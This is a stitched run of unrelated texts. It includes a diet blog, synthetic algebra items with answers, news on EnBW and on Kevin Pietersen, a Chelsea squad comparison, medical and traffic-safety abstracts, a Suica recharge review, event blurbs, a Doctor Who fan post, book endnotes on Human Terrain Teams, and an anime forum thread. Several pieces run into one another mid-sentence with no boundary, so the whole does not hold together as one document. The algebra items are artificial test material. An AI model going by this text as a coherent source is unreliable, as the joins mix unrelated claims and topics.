lifestyle. I have high blood pressure and I am on meds for it. I would LOVE to be off of those meds someday. Come on, I’m 24 years old. I shouldn’t be on blood pressure meds. * Instead of buying canned soups, which come in so handy for work, make my own low-sodium soups and freeze them. Not only will they be healthier, they’ll taste better too! * Whenever possible, buy the low sodium version. * Look for salt substitutes. 6. Practice moderation What I can do: * I feel like this one is so important. I have the clean your plate syndrome. I have realized that using smaller plates really helps this. I have cute seasonal plates that are much smaller, but I should try using smaller plates year round. * Continue to measure and count portion sizes. My husband and I have both learned a lot from doing this. Not only does it make for a healthier diet, but you save money by making foods last a lot longer!

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and give q. 0 Rearrange -871*y**3 + 39*y**4 - 20*y**4 - 2*y**2 - 7*y**2 + 34*y**4 + 872*y**3 to z*y**4 + g*y + m + s*y**2 + u*y**3 and give u. 1 Express 322*i + 1 + 5*i**3 + 417*i + 861*i - 3*i**3 in the form w + k*i + y*i**3 + z*i**2 and give y. 2 Rearrange 1 - 1034*r**2 + 1 - 4189*r**3 + 1036*r**2 to the form o*r**3 + u*r + w*r**2 + j and give o. -4189 Rearrange -4*p**4 - 6 + 6 + (-2*p**4 - 4*p**4 + p**4)*(-7 - 3 - 2) - p**4 + 7*p**4 - 3*p**4 to u*p**2 + s*p + l*p**4 + b + z*p**3 and give l. 59 Express 5 - s**3 + 135*s**2 - 29481*s + 29481*s as m + j*s**3 + n*s + p*s**2 and give m. 5 Rearrange -1 + 1 - 2*q + (3 - 10 - 2)*(-3*q + 2*q + 1055 - 1058) to the form z + x*q and give x. 7 Rearrange -6 - 37443*c + 6 + 20116*c to y + k*c and give y. 0 Rearrange (-2 + 4 + 0)*(-342 + 215*g + 149 + 188) to w + o*g and give w. -10 Rearrange ((m + m - 4*m)*(30 - 30 + 11*m) - m**2 + m**2 + m**2)*(m**2 - 8*m**2 + 29*m**2 + 2) to the form c*m**4 + o*m**3 + b + s*m + y*m**2 and give c. -462 Rearrange 12*r - 42*r**2 - 5 + 5 - 9*r - r**2 to u + d*r**2 + v*r and give v. 3 Express (-3*j - 1 + 1)*(0 + 3 - 4) + 1128*j - 513*j - 918*j + (1 - 3 + 0)*(j + 1 - 1) + j + 2*j - 2*j + j - j + 2*j + j + 0 + 0 in the form c + h*j and give c. 0 Rearrange (7 - 183*z + 3*z**2 + 183*z)*(236 - 240 + 134*z + 74*z) to t*z**3 + a*z**2 + j + w*z and give w. 1456 Rearrange 2 + q**3 - q**2 - 53*q + 463*q - 196*q - 80*q to f*q**3 + b*q**2 + s + i*q and give i. 134 Express 5240*m - 98359 + 98359 as i*m + s and give i. 5240 Express -13*z**4 + 0*z**2 + 642*z - 3*z**3 - 640*z - 16*z**4 + 2*z**2 as y*z**4 + j*z**3 + l + p*z**2 + r*z and give j. -3 Express -3*r**3 + 4*r**3 - 3*r**3 + (3*r**2 - r**2 - r**2)*(-280*r - 93*r - 75*r) - 13*r**3 + 22*r**2 - 22*r**2 as o*r**2 + w*r + z*r**3 + j and give z. -463 Express (424*x + 6293*x**2 - 6286*x**2 - 133*x)*(-5 + 0 + 3) in the form b*x**2 + i*x + h and give b. -14 Express -187 + 64 + 54 + 19786*m + 69 as v*m + i and give v. 19786 Express -16 + 17866*r**3 + 4*r**2 - 17866*r**3 + r**4 in the form k*r**2 + u*r**3 + m + v*r**4 + p*r and give v. 1 Express -77*f**2 - 3*f + f**4 + 3*f**3 - 74*f**2 + 186*f**2 - 3*f**3 + 2*f**3 as v*f**4 + i*f**3 + k*f**2 + m + q*f and give m. 0 Rearrange (-2*f**3 - 2*f + 2*f)*(2210 + 9329 + 1824)*(0*f - 2*f + 0*f)*(5 - 1 - 3) to the form n*f + m*f**3 + z*f**4 + l + g*f**2 and give z. 53452 Rearrange 4*b - 49*b**3 - 13223 - 160*b**3 + 13228 to the form f*b**2 + v*b**3 + u*b + w and give u. 4 Rearrange -143764 + 143764 - 1711*t**2 to the form j*t**2 + m*t + q and give j. -1711 Express (-2*c**2 - c**2 + 4*c**2)*((-3 + 2 + 3)*(0 + 2 + 0) - 76 - 615 - 3931) in the form o*c + b*c**2 + u and give b. -4618 Rearrange t**4 - 264*t - 258*t - 3*t**2 - 2079 + 0*t**2 + 774*t - 254*t to d*t**4 + b + r*t**3 + s*t + x*t**2 and give d. 1 Rearrange 30 - 6492*s - 6501*s + 12979*s to z*s + r and give z. -14 Rearrange (-8*c + 17 + 6*c + 1)*(-46*c - 64*c + 94*c)*(5 - 4 + 0) to the form n*c + l + h*c**2 and give h. 32 Express 1 + 10634*m**3 - 10613*m**3 - 5*m - 7 + 8*m as b*m**2 + o*m**3 + y + h*m and give y. -6 Rearrange (-7*x + 1 - x + 14*x)*(-2*x + x + 3*x)*(-11 + 1 + 5*x + 7) to u + z*x**3 + n*x**2 + i*x and give z. 60 Rearrange h**2 + 2*h**3 - 76082 + 3*h + 59415 - 2*h**2 - 3*h to the form p*h**3 + t + k*h + m*h**2 and give t. -16667 Express 8 - 11 - 1 - 3*i - 2*i**4 + i - 88*i**2 + 12 in the form z*i**4 + b + w*i**3 + s*i + h*i**2 and give s. -2 Rearrange -141*w**2 + w**3 - 82*w**2 + 237*w**2 + 6*w - 5*w**4 to k*w**4 + d*w**2 + p*w**3 + g*w + x and give g. 6 Express -33*t - 26*t - 31*t - t**2 + 121*t + 1 - 32*t + 103*t**3 in the form f*t**2 + r*t**3 + s + b*t and give b. -1 Rearrange (-15 + 103 + 25 - 12)*(32*q - 133*q - 28*q) to r*q + z and give r. -13029 Express (-7*l + 3*l + 2*l)*(-2111 - 1196 + 520)*(-3 + 4 + 1) in the form z*l + g and give z. 11148 Rearrange -2 - 2*u**4 + 1255*u**2 - 947*u**2 - 2*u**3 + 0*u**3 to w + i*u**2 + q*u + r*u**4 + x*u**3 and give x. -2 Rearrange (419 - 128 - 202)*(5*k**3 - 2*k**3 - 2*k**

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arm of the Swedish utility group, and EnBW said they had not yet decided whether to bring a complaint. "We are preparing a decision but it is open what it will be. The term for a complaint to be lodged ends in early August," said a spokesman for EnBW in the Baden Wuerttemberg state. A Vattenfall spokeswoman also said a decision would be taken in due course.Jose Mourinho's Chelsea 2013-14 vs. 2005-06 It's been a little over three months since the 2013-14 season kicked into action, and in that time we have been able to get a better idea for how well things will go for Jose Mourinho upon his Chelsea return. Given his impact at Stamford Bridge during his inaugural spell in charge—winning back-to-back Premier League titles, among a host of other trophies—it was understandable that most Chelsea supporters would be expecting a similar outcome. This is a different Premier League, however. It's one that has changed considerably in the 10 years since Roman Abramovich purchased the Blues, and with the money being spent on new recruits by their rivals, the level of competition has gone up a notch. It's a also a very different Chelsea team that Jose Mourinho has inherited and one very different to the team he took to unprecedented success in 2006. How do those teams match up against one another? Are Chelsea stronger now than the team that secured successive Premier League titles? Or are they weaker and in need of more inspiration from their leader? Looking at some key areas in the make-up of the team, Bleacher Report investigates a little further. The Case for the Defence Much of the debate surrounding Chelsea this season is whether Jose Mourinho knows his best team or not. There have been key areas where Chelsea have not looked stable, with Mourinho often rotating as a result, searching for the ideal combination. It's clear the Portuguese still rates the talents of his captain John Terry, but question marks remain regarding who will partner him at the heart of defence. Thus far, David Luiz and Gary Cahill have shared responsibilities, with Terry given the occasional rest for midweek fixtures. It all suggests the manager isn't confident with those he has at his disposal, but he needs to make a decision and take the plunge sooner rather than later. In 2005-06, any indecision over the Blues defence was far from the question. Chelsea's No. 1 defensive partnership was the Terry-Ricardo Carvalho combination and it served them well, too. At the same stage as we find ourselves this season, Chelsea had lost just six goals, having not conceded in their opening six matches. Their overall goals against would be 22 in the Premier League that season. This term they have leaked 10 and while defensive solidity doesn't look too far off, there have been moments when Chelsea have looked vulnerable. Midfield Ian Walton/Getty Images In 2005-06, Frank Lampard scored 20 goals for Chelsea in all competitions. He's going to be a long way short of that this term and there doesn't yet appear to be another midfielder who will hit such an impressive mark. That's not to suggest Chelsea's current crop of midfield stars lack talent, but the contribution of Lampard's goals over the course of a season were worth so much to Chelsea, easing the burden on the strikers. In fact, his goals were directly responsible for seven points in 2005-06, not to mention the countless games in which he helped them rack up victories, scoring the opener or helping ensure there was no way back for the opposition. In Eden Hazard, Oscar, Juan Mata and Andre Schurrle, Chelsea's midfielders are not looking as prolific—although it must be said Hazard and Oscar's four league goals each this year is an encouraging sign of what may come in the near future. Outside of that, Jose Mourinho had Claude Makelele to marshal his midfield whenever Lampard was poaching goals further forward. Right now, the Blues do not have a defensive midfielder anywhere near the class Makelele demonstrated and, as a result, are not able to control games the way they once did. On the wings, Arjen Robben and Damien Duff were a massive threat in 2005-06 and terrorised most defences they faced on a weekly basis, with Joe Cole also another impressive attacking option. With their aforementioned attacking talents now, the Blues not only have more strength in depth, however, but players who harbour a different threat and are more than a match for their predecessors. Strikers Chelsea's options with their strikers appear much stronger right now than they did in 2005-06, despite the presence of Didier Drogba back then. While Blues fans were spoiled with the sight of Drogba racking up the goals later in his Chelsea career, it must be remembered that the Ivorian, in the early part of his Stamford Bridge career, was far from the threat he would become. That's not to say he didn't impress—he did at times—but he struggled for consistency and the fans often let him know their thoughts when it came to his form. Indeed, it reached the point where Drogba remonstrated with one fan after he scored the winner in a 1-0 victory against Arsenal early that season. Drogba had been receiving some jeers from the Matthew Harding Stand crowd, and when he deflected his effort beyond Jens Lehman to seal all three points, he wasted little time in singling out the man who had earlier criticised him. Such criticism of Drogba would cease, of course, but in 2005-06, Chelsea's frontline wasn't as impressive as it is now. Mourinho can currently choose from Fernando Torres, Samuel Eto'o and Demba Ba. All three are players coming into form right now, with Eto'o and Torres once ranked among the world's most-feared frontmen. In 2005-06, it was an improving Drogba, tormented Hernan Crespo and inexperienced Carlton Cole who led the Chelsea attack. Character It's a staple of any team Jose Mourinho has coached. In the face of adversity, they often come together and pull through. And if they don't, they sure as hell come close to doing so. Chelsea's 2005-06 Premier League champions were a team who were rarely outdone. They battled for supremacy and when they had earned it, they turned their dominance into exceptional performances, running away with the league title. The 2005-06 season started with Hernan Crespo scoring a 90th-minute winner against newly-promoted Wigan Athletic and, from that point, Chelsea never looked back. That game set the tone for what Mourinho's Chelsea were about. They were unrelenting, never giving up in their pursuit of victory, and won a further seven matches with goals that came in the final 20 minutes to prove the difference. This Chelsea team seems to be made of similar stuff and has already displayed a similar determination never to lose matches. Coming on the back of a disappointing defeat to Newcastle United a week earlier, Chelsea were trailing 2-1 at home to the Baggies with time all but up and the referee ready to blow his whistle. They kept believing, though, and eventually got their reward when Ramires was fouled in the box and a penalty awarded. It was subsequently dispatched by Eden Hazard, and while it will be seen as two points dropped, Chelsea took so much more from the game. If the Blues do win the title this season, it will be moments such as that against West Brom that will stand out as significant. Verdict Shaun Botterill/Getty Images The Chelsea team circa 2013-14 may be one full of young, promising talent, but just as much as that is a strength of which the Blues are rightly proud, it is also a significant weakness when comparing like-for-like with their predecessors from 2005-06. Jose Mourinho's team from that era was one ready for success. In fact, they had already lifted the Premier League with a record points haul the previous season and, rather than building for what might happen in the future, were primed to achieve everything expected of them. And they did. Right now, Chelsea continue their transition to a club for the modern era, although Mourinho has returned at the moment when the Blues are close to finding their way back to the summit of English football. If success doesn't come the way of Chelsea this term, we can be sure the Blues will be etching their name into trophies next season and beyond. Can the current crop become greater than the Class of 2006? Only time will tell, but for now they remain—ever so slightly—in the shadow of a team that will go down as one of the Premier League's finest.Changes in collision rates among novice drivers during the first months of driving. As a group, young drivers have crash rates that far exceed those of older, experienced drivers. But even among teenagers there are age-related differences; crash rates decline consistently and dramatically with each yearly increase in age. A more precise understanding of how crash rates decline within the teenage group might provide insights into when experience is most influential. To address this issue, this study examines month-to-month changes in collisions among new drivers. It was found that crash rates drop most dramatically

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the right of the touchscreen is designed for plastic cards with the NFC hit area at the bottom of the stand. This means you have to put iPhone on the stand upside down for Apple Pay Suica to work. It’s very awkward. The process is not that fast. The service is OK but nothing more. Suica cash recharge at the JR station or the convenience store cash register is a faster deal, and the convenience of Apple Pay Suica Recharge always beats cash recharge. The main benefit is that 7-Eleven ATMs are plentiful, open 24 hours and offer Suica cash recharge during the Mobile Suica late night maintenance offline hours 1am~4am.Use of Amplatzer duct occluder to close severely hypertensive ducts: utility of transient balloon occlusion. The dividing line between a patent ductus arteriosus with severe but reversible pulmonary artery hypertension and an Eisenmenger duct remains elusive. Increasing experience with the Amplatzer duct occluder has made non-surgical closure of even large patent ductus arteriosus simple and safe. However, data on the use of this device in severly hypertensive ducti is sparse. There were six patients (2 males, 4 females), wherein transient ductal occlusion was done with an embolectomy balloon catheter. The post-occlusion hemodynamics along with overall clinical and hemodynamic assessment was used to decide the likelihood of benefit of closure and the choice of the device. In four of six patients of patent ductus arteriosus with severe pulmonary artery hypertension (pulmonary vascular resistance index> 8.0 U/m2) the duct was successfully closed using the Amplatzer duct occluder, while in two an Amplatzer ventricular septal defect occluder was used. Transient balloon occlusion is quite helpful for assessing patients with patent ductus arteriosus with severe pulmonary hypertension, and short-term non-invasive follow-up has shown this strategy to be safe and useful.What can the rise of Japan and Germany in the last century - or the rise of Athens 2,000 years earlier - tell us about the risks facing the US and China today? Is a US-China war inevitable? Graham Allison, among the most astute geostrategic observers of his generation, terms this “Thucydides’s Trap.” He takes us back to the Peloponnesian war to remind us of the timeless insights of the historian Thucydides: When a rising power rivals a ruling power, danger is near. In fact, in 12 of the 16 occasions this global power pattern has repeated, the outcome was war. With this view to history, the existential challenge of our era is not violent Islamic extremists or a resurgent Russia; it is the impact of China’s ascendance on the international order. According to Allison, "Never before in history has a nation risen so far, so fast." Even Chinese President Xi Jinping has urged that the world “work together to avoid the Thucydides trap… Our aim is to foster a new model of major country relations.” But is being aware of danger enough to avoid it? While the West seeks to encircle and constrain, China demonstrates, with aggressive naval exercises in disputed seas, that it will demand the respect due a major power in its own region and the world. Can the world escape the perilous prophecy of Athens and Sparta? Graham Allison, director of Harvard’s Belfer Center for Science and International Affairs, founding dean of Harvard’s Kennedy School and advisor to every secretary of defense from Reagan to Obama, shares insights from his career, and outlines the painful steps both China and the US must take to avoid disaster. SPEAKER: Graham Allison Director, Belfer Center for Science and International Affairs, Harvard University MODERATOR: Michael M. Nacht Thomas and Alison Schneider Professor of Public Policy; Interim Director, Center for Studies in Higher Education, Goldman School of Public Policy, University of California, Berkeley For more information about this event please visit: http://www.worldaffairs.org/event-calendar/event/1732 In 2011, Cairo's Tahrir Square commanded the attention of the world as the Egyptian people demanded their freedom. At the time, President Barack Obama famously declared: “Egyptians have inspired us, they have changed the world.” But, half a decade later, is this the whole story? The Arab World's most populous nation remains as volatile as ever and thoroughly enmeshed with a broader moment of political turbulence that is unfolding across the globe. In his new book, "The Egyptians: A Radical Story," former Egypt Correspondent for the Guardian, Jack Shenker, examines the roots of Egypt’s revolution, arguing for a much more nuanced, and far-reaching view of the forces that are reshaping the region. Egypt’s revolutionary turmoil has never just been about Mubarak, or his successors, or elections, says Shenker. It is not merely a civil war between Islamists and secularists, nor a fight between backwardness and modernity. Underlying it all, the unrest is about economically marginalized citizens muscling their way onto the political stage to demand sovereignty over domains previously closed to them: factories and urban streets, the houses they live in, the food they eat and the water they drink. The real story is more complicated and, ultimately, more hopeful. Speaker Jack Shenker is an author and journalist, and Former Egypt Correspondent for the Guardian. The conversation is moderated by David D. Arnold is President of The Asia Foundation. For more information please visit: http://www.worldaffairs.org/event-calendar/event/1683 Our lives in 2050 will be vastly different than today. Rapidly advancing technology is changing everything from food production to health care, energy output, manufacturing and the military balance. Innovations already in development include brain-computer interfaces, vat-grown cruelty-free meat, knitted cars and guided bullets among many others. Technology which once seemed like science fiction is now reality - and even old news - where can we possibly go from here? The Executive Editor of The Economist, Daniel Franklin, explores how technology will shape the future in his recent book, Megatech: Technology in 2050. His insights are based on extensive interviews with distinguished scientists, industry leaders, academics and acclaimed science-fiction authors who are at the forefront of the most exceptional inventions and sinister trends. Where will technology be in 2050, and how will it affect the way we live? What does this mean for the job market and how we perform our work? In what ways can we prepare for the opportunities — as well as the dangers — that await? Speaker Daniel Franklin is Executive Editor at The Economist. He is in conversation with Quentin Hardy, Head of Editorial at Google Cloud. For more information about this event please visit: http://www.worldaffairs.org/event-calendar/event/1699Series One Series Two Series Three Series Four The Specials Series Five Guide Hits from May 2008 Saturday, 28 February 2009 It seems that the Ood Sigma, which last appeared in Series 4 during Planet of the Ood, will be returning during one of the specials as it was spotted during filming. The picture to the left, taken by Scooty, clearly shows the Ood, who was played by Paul Kasey. So what would this mean? Considering pictures of David Tennant filming in his old orange spacesuit, last used during another Ood episode The Satan Pit, have emerged, maybe the whole Beast thing is happening again. It would be interesting to hear some of your theories, feel free to post them below.Wedington Township, Washington County, Arkansas Wedington Township is an inactive township in Washington County, Arkansas, United States. A variant name was " Township". The township was established in 1886. References Category:Townships in Washington County, Arkansas Category:Townships in ArkansasSurrey want Pietersen deal Surrey are preparing to offer Kevin Pietersen "a good market rate" to retain his services once the severance of his ECB central contract is complete. Pietersen's England deal was due to run until October but his representatives have been negotiating a pay-off, in conjunction with the Professional Cricketers' Association. Pietersen's England career was effectively ended by the ECB on Tuesday when it announced he would not be considered for selection. As a centrally contracted player, Surrey were not required to pay him a salary but Richard Gould, the club's chief executive, said that discussions to prolong the 33-year-old's stay were planned at the earliest opportunity. Agreeing the termination of his England deal would free Pietersen up to play a full season in the IPL and, while he may be reluctant to return to the UK for Division Two Championship cricket, he is settled living with his family in Chelsea and thought to be open to a limited-overs arrangement. "We know that he really wants to continue playing for Surrey and he knows we are really keen for him to continue doing so," Gould said. "Over the next week or so we will work together to try and make sure that happens. "We need to make sure we can offer a KP a good financial package as well as the knowledge that he belongs to a club that really values him and wants to see him play." Pietersen has developed good relationships at Surrey, who he joined in 2010, and was at The Oval giving a coaching session to team-mates on the

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the defense contractor BAE, which, along with various subcontractors, employed Human Terrain Team members at that time. Cooper, interview by author, April 22, 2010. Seven months later, he was in Afghanistan: Cooper started training in Leavenworth in March 2008 and left for Afghanistan in August, landing in Maiwand in late September. Someone directed them to a tent with a few cots: The description of Loyd is from interviews with her teammates and photos taken shortly after their arrival. Ayala had missed this place: Unless otherwise noted, biographical details and quotes from Don Ayala in the section below are from Ayala, interviews by author, August 17–19, 2009. Karzai was a royalist from Kandahar: "Office of the President, Islamic Republic of Afghanistan: Biography," <http://president.gov.af/en/page/1043>, accessed August 15, 2012, and Coll, Ghost Wars, 285–86. A relentless diplomat who had been trying: Karzai's Washington contacts extended back to his days as a press, logistics, and aid worker with the anti-Soviet faction of Sibghatullah Mojaddedi during the jihad of the 1980s. Coll, Ghost Wars, 285–86. In the 1990s, after the Soviets withdrew: Ibid., 286. For his service under Rabbani, see <http://www.pbs.org/newshour/updates/asia/july-dec01/karzai_12-03.html>, accessed August 15, 2012. Fahim had been Massoud's security chief: Coll, Ghost Wars, 286–87 and 461–62. For more on Fahim, see "Center for American Progress: Profiles of Afghan Power Brokers," <http://www.americanprogress.org/issues/2009/10/afghan_power_brokers.html>/#4, accessed August 15, 2012. In 1999, appalled: Some attribute the murder of Karzai's father to the Pakistani intelligence service, the ISI. Arab bombers posing as journalists assassinated: Coll, Ghost Wars, 582, and John F. Burns, "Afghans, Too, Mark a Day of Disaster: A Hero Was Lost," New York Times, September 9, 2002. The men on the Karzai Protective Detail believed: "We loved how the villagers and everybody greeted the president," Ayala recalled. "It was very emotional, a very, very proud moment to be a part of this history.... He was a good man. He treated people very well and he treated us very well.... [T]he guy grew on you.... We definitely didn't want to lose him on our watch.... You don't want to be part of that; it would be hard to live with. So we took pride, but we ended up liking the man." He went with Karzai to inaugurate: Karzai officially reopened the Salang Pass in December 2003 with U.S. ambassador Zalmay Khalilzad, about a month before Ayala left his job with Karzai's protective detail. See Associated Press, "Vital Tunnel Reopens Between North and South Afghanistan," December 28, 2003, and UNHCR, "Chronology of Events in Afghanistan, December 2003," <http://www.unhcr.org/refworld/pdfid/407bdce54.pdf>, accessed September 15, 2012. A natural mentor, he counseled: See letter of David J. Hazarian, Regional Security Officer, Diplomatic Security Service, U.S. Consulate, Peshawar, Pakistan, and former shift leader of the Karzai Protective Detail, to Judge Claude M. Hilton, filed April 23, 2009, in federal court: "Don exhibited a mature understanding of complicated Afghan cultural sensitivities and treated all those he encountered with respect, dignity and honor. Don was especially effective at dealing with the Afghan members of President Karzai's security detail, the Department of State, and Dyn Corp personnel. They looked up to Don and he responded in kind with professional conduct and insightful mentoring." See also letter of Scott Lynton, former member of the Karzai Protective Detail, to Judge Hilton, April 12, 2009: "He would gain the attention of our Afghani-counter parts [sic] (presidential body guards).... They were very keen to talk and listen to [Ayala]. He was basically their personal trainer in all issues." He wrote poetry on his bedroom wall: Letter of Angelica Ramos, Reuters, to Judge Hilton, April 15, 2009, and letter of Scott Lynton: "He would write his own poetry based on his life experience. He would display his poetry by writing on his room wall." They called him "Don Juan": Ayala's radio call sign was "Don Juan." See also letter of Scott Lynton: "When we finished work for the day, we had a bar that we could use to unwind and socialize. There was always a group of working professionals around our operation, the majority of which were females. They would frequent our establishment once or twice a week for cocktails at our bar. This is where I witnessed how Don Juan earned his name and how he could be a true gentleman. He established quality relationships with his female friends and made his sincerity shine. It was almost as if he was a shrink for the women he befriended, trying to understand and appreciate who they were and make them feel better about what ever [sic] was troubling them. This was not your typical behavior for contractors on the KPD, especially the single men who were looking for something more than a social drink with the available pretty reporter." They called him the "Minister of Hugs and Kisses": Letter of Stephen Hohl, former member of the Karzai Protective Detail, to Judge Hilton, filed April 23, 2009, in federal court; letter of Jeffrey P. Hinton to Judge Hilton, April 15, 2009; and letter of Scott Lynton: "Don would literally give hugs and kisses to our counter parts, which was the traditional cultural showing of appreciation and respect to others. Most of us would decline this gesture for various reasons. Don had no problem expressing his appreciation and compassionate side." When a friend back home offered: Letter of Karen Rodriguez to Judge Hilton, March 27, 2009. He left Afghanistan in 2004 and spent: Ayala was part of an international team that advised protective services personnel for the Iraqi president and a handful of other top Iraqi officials. Ayala, interview by author, August 19, 2009. As a research manager, Ayala was taught: Ayala, interview by author, August 19, 2009. By the "Kevin Bacon game" he meant the idea that there are six degrees of separation between Kevin Bacon and anyone working in Hollywood. The software was known as MAP-HT. It was the first, largely unsuccessful iteration of a program designed to be used by Human Terrain field teams. Ayala liked playing with the software in training but found it useless in the field: "[A]s fast as we were going on patrols, we never really had time to sit there and build a network of people." During my time with Human Terrain Teams in Afghanistan between March 2009 and November 2010, I did not see a single team member use the software. An updated version fielded in 2010 was said to work better, but I found no evidence of anybody using that either. See also Yvette Clinton, Virginia Foran-Cain, Julia Voelker McQuaid, Catherine E. Norman, and William H. Sims, "Congressionally Directed Assessment of the Human Terrain System," Center for Naval Analyses, November 2010, 35–36. Warren had worked for Blackwater and other: Mike Warren, interview by author, March 20, 2009. The Kabul to Kandahar road was mainly funded by USAID, but Japan also contributed. There was a reason that people like Ayala: Ayala, interview by author, August 18, 2009. The purpose of the Ranger Indoctrination Program was to "weed out the weak," he told me. What the Army needed, Ayala thought: During training at Leavenworth, Human Terrain System officials celebrated civilian social scientists as the most important part of the mission. "But in the combat zone, they were not," Ayala said. "They were good. They helped. They wrote good reports. But being in the combat zone, being out in the field itself is a different story. To survive in conflict, you've got to be aware of your surroundings. You got to be aware of what can happen. You got to be aware of the guys you're with, the military, and you got to be in shape to go on foot patrols and stuff like that." Ayala, interviews by author, April 19 and May 4, 2009. Ayala was no anthropologist, but: That Ayala did this more than once is evidenced by letters from his supporters to Judge Hilton. In one of our interviews, he recalled a night in Kansas City when he and other Human Terrain trainees went out to a bar, where a man menaced them and Ayala talked him down. "Not to toot my horn, but the things I was going to school for, the ethnography, I put it to work right there and turned him from an enemy to a friendly." Ayala, interview by author, April 17, 2010. She knew what she was talking about and: Mike Warren told

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things going on (the first half of the series barely had any mahjong matches, and you have just clipshot of girls having tile in their hands, instead of short sequences of what they are dealing etc). Heck, besides Teru's match, you really have way too few match perspective, along with discard pool etc. Of coure, Saki in general wasn't really a real mahjong series (the likes of Akagi), a bit how K-on is to music, but the first series actually had a more balanced content between characters, fanservice and actual mahjong, compared to Achiga. A last thing that I also found awkward was how little you know about the Achiga girls. Besides Kuro and her sister abilities and all, we hardly know a thing about Shizu, Ako and Arata playing style (save Shizu being just... stubborn, Ako having a quick calling sense (with very little exposure about that) and Arata being an enigma, save "weird" discards). Hell, Kuro was dominating Achiga's screentime to the point it was shoehorned, and I can't exactly feel satisfied that she had to be "babysit" by Toki and Kirame during this match to finally shine (whereas if it wasn't for Teru domination requiring everyone cooperation, she would be just the lamb to slaughter). Really, at this point, I admit guilty for enjoying more Teru's carnage than anything else during the series, considering how awkward the other characters felt in contrast to the first series. Taken as a whole, the Achiga-hen project definitely has to be said to have been held down by pacing issues. It's not that the Achiga-hen storyline in general is any more lacking in "characters", "fanservice", or "actual mahjong" than the original series, it's just that all of these elements had to be compressed for rapid plot development in order to reach the required stage of the story. Taken alone, however, the imbalance between this and the real series is obvious when you consider that Achiga-hen took ~4 episodes to cover what the original series did in 25. However, there are plenty of obvious reasons for why it had to be this way. For one, from the audience's perspective the fact must be accepted that Achiga cannot be called the main characters. For two, from the author's perspective we have to consider Ritz's writing speed and the necessity of continuing her work on also developing and progressing the main story. From the anime production team's perspective, we also have to consider the necessity of this adaptation in the first place to keep awareness of this series' alive and maintain anticipation for the real second season of the series. So in the end, as fans, I think we should just accept that the only important parts of this adaptation were just this match with Teru (which I think can be rightfully described as masterfully executed, right up there as one of the best matches of the series), and the final expectation that the fourth team which will show up in the Finals of this tournament will be Achiga. And in any case, although Kuro has received most of the focus (amongst Achiga members) in this adaptation up to now, I think we should certainly wait for the last three episodes and the conclusion of the SemiFinals before making any judgements about the screentime of the other characters. As for Kuro herself, while I can more or less understand that it is quite easy to be harsh on her, in the end I really have to harshly disagree with any statement to the effect that Kuro had to be "babysat" or did not contribute to the effort against Teru. Really, if you take into account the nature of Kuro's ability and the options available to her, Kuro has already done the best that she conceivably could have done in competing against Teru. In the end, all of the contributions of Kuro, Toki, and Kirame were necessary in specifically this order for them to have managed to stop Teru the way they did this time. Complaining about the way Kuro played during the rest of the battle is pointless, because: 1) If Kuro had discarded a Dora at any point earlier, they would've stopped coming to her and Teru could have gone on an even greater rampage much more easily 2) If Kuro had changed her playstyle at any point earlier, Teru would not have exposed herself to a vulnerability based on her analysis of Kuro's playstyle and thus Kuro, Toki and Kirame would not have been able to end Teru's final consecutive dealership. In the end, I don't think there's a valid reason to hate any of the characters who took part in this battle. Taken as a whole, the Achiga-hen project definitely has to be said to have been held down by pacing issues. It's not that the Achiga-hen storyline in general is any more lacking in "characters", "fanservice", or "actual mahjong" than the original series, it's just that all of these elements had to be compressed for rapid plot development in order to reach the required stage of the story. Taken alone, however, the imbalance between this and the real series is obvious when you consider that Achiga-hen took ~4 episodes to cover what the original series did in 25. I already know that much. The problem is how they seem to value so much flashbacks and all that you had to wait Episode 5 to have an actual match (hell, their qualification against Bansei was as a short work as in the manga, with Kuro starting with a strong hand, then everyone else just spam ron one after another). Really, it is more like a direction issue than really the content, considering they could potentially cut things that were really unecessary. The first 2 episodes intro were alright, albeit lacking of some implied skirmishes, but 3 and 4 had barely any content (save Ryuumonbuchi's cameo). Beyond that, the pacing is really going on left and right. Quote: However, there are plenty of obvious reasons for why it had to be this way. For one, from the audience's perspective the fact must be accepted that Achiga cannot be called the main characters. For two, from the author's perspective we have to consider Ritz's writing speed and the necessity of continuing her work on also developing and progressing the main story. From the anime production team's perspective, we also have to consider the necessity of this adaptation in the first place to keep awareness of this series' alive and maintain anticipation for the real second season of the series. So in the end, as fans, I think we should just accept that the only important parts of this adaptation were just this match with Teru (which I think can be rightfully described as masterfully executed, right up there as one of the best matches of the series), and the final expectation that the fourth team which will show up in the Finals of this tournament will be Achiga. The problem I have with that then is thus the choice of adapting the series -now- whereas the manga itself is basically not complete leading to a dead giveaway that things won't go smooth right from the get go. And really, I really cannot consider them as "not main characters" because they are on, well, another side of the picture, so there is really no real hindering factor to set the premise of Shiratodai going on onslaught towards the finals (with Kiyosumi fated to be there), while Achiga girls trying to reach that part as well. The only difference is "how" you do that, which doesn't have to put into something as being overwhelmingly overshadowed this way. Quote: And in any case, although Kuro has received most of the focus (amongst Achiga members) in this adaptation up to now, I think we should certainly wait for the last three episodes and the conclusion of the SemiFinals before making any judgements about the screentime of the other characters. The actual problem is that it isn't even because of the Teru matches, but really all "proper" matches were only shown with Kuro being either dominating people or literally slaughtered, either by Toki or Teru. You barely see other girls having like 2-3 rounds within seconds/minutes at best. That's really more than half to what we were presented to, and having a packed screentime for the other characters in the last episodes will just confirm how unbalanced the series was so far. Quote: As for Kuro herself, while I can more or less understand that it is quite easy to be harsh on her, in the end I really have to harshly disagree with any statement to the effect that Kuro had to be "babysat" or did not contribute to the effort against Teru. Really, if you take into account the nature of Kuro's ability and the options available to her, Kuro has already done the best that she conceivably could have done in competing against Teru. In the end, all of the contributions of Kuro, Toki, and Kirame were necessary in specifically this order for them to have managed to stop Teru the way they did this time. Complaining about the way Kuro played during the rest of the battle is pointless, because: It is more the character concept of Kuro that is flawed, not the character on her own. The author basically cornered themselves by using such "gimmick" and restriction for her, to the point that it leads to huge issues snowballing afterwards. Frankly

